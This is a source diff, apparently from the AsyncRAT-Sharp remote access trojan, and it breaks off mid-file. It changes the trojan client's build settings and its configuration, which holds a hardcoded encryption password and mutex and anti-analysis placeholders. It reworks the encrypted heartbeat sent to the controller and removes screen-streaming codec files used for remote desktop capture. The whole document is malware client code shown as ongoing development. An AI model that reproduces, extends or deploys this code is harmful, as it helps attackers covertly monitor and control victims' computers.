<Reference Include="IconLib">
|
||||
<HintPath>..\packages\IconLib\IconLib.dll</HintPath>
|
||||
<HintPath>..\AsyncRAT-Sharp\Resources\IconLib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
@ -96,35 +99,12 @@
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Sockets\ClientSocket.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
@ -139,12 +119,12 @@
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.4.0.2\build\Fody.targets" Condition="Exists('..\packages\Fody.4.0.2\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.4.0.2\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.0.2\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.4.0.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.4.0.0\build\Costura.Fody.props'))" />
|
||||
<Error Condition="!Exists('..\packages\Fody.5.0.5\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.5.0.5\build\Fody.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\packages\Fody.5.0.5\build\Fody.targets" Condition="Exists('..\packages\Fody.5.0.5\build\Fody.targets')" />
|
||||
</Project>
|
@ -14,7 +14,11 @@ namespace Client
|
||||
public static readonly string Password = "NYAN CAT";
|
||||
public static readonly Aes256 aes256 = new Aes256(Password);
|
||||
public static readonly string MTX = "%MTX%";
|
||||
public static readonly string Anti = "%Anti%";
|
||||
//public static readonly string Anti = "false";
|
||||
#if DEBUG
|
||||
public static readonly string Anti = "false";
|
||||
|
||||
#else
|
||||
public static readonly string Anti = "%Anti%";
|
||||
#endif
|
||||
}
|
||||
}
|
@ -199,23 +199,29 @@ namespace Client.Sockets
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
try
|
||||
lock (SendSync)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||
lock (EndSendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||
|
||||
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes());
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None);
|
||||
Client.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,160 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class DirectDriverCodec
|
||||
{
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private byte[] EncodeBuffer;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private JpgCompression jpgCompression;
|
||||
|
||||
public DirectDriverCodec(int Quality)
|
||||
{
|
||||
jpgCompression = new JpgCompression(Quality);
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Changes.Length; i++)
|
||||
{
|
||||
Rectangle rect = Changes[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
/// <summary>
|
||||
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||
/// </summary>
|
||||
public class MJPGCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.None; }
|
||||
}
|
||||
|
||||
public MJPGCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||
outStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataLength];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,204 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public int MaxBuffers { get; private set; }
|
||||
private SortedList<int, byte[]> EncodeCache;
|
||||
private SortedList<int, byte[]> DecodeCache;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
this.EncodeCache = new SortedList<int, byte[]>();
|
||||
this.DecodeCache = new SortedList<int, byte[]>();
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
byte[] temp = new byte[Stride];
|
||||
fixed(byte* ptr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||
}
|
||||
|
||||
CRC32 hasher = new CRC32();
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||
|
||||
if (EncodeCache.Count >= MaxBuffers)
|
||||
EncodeCache.RemoveAt(0);
|
||||
|
||||
if (EncodeCache.ContainsKey(hash))
|
||||
{
|
||||
outStream.WriteByte(1);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
outStream.WriteByte(0);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
EncodeCache.Add(hash, temp);
|
||||
}
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
|
||||
cloned.Dispose();
|
||||
}
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (inStream.Position < inStream.Length)
|
||||
{
|
||||
byte[] temp = new byte[11];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
bool inCache = temp[0] == 1;
|
||||
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||
int Hash = BitConverter.ToInt32(temp, 5);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
if (inCache)
|
||||
{
|
||||
if (DecodeCache.ContainsKey(Hash))
|
||||
{
|
||||
temp = DecodeCache[Hash];
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,179 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||
{
|
||||
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||
Blocks[index] = ScanBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
cloned.Dispose();
|
||||
TotalDataLength += 6 + temp.Length;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
|
||||
byte[] LenTemp = new byte[4];
|
||||
inStream.Read(LenTemp, 0, 4);
|
||||
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (DataLength > 0)
|
||||
{
|
||||
byte[] temp = new byte[6];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
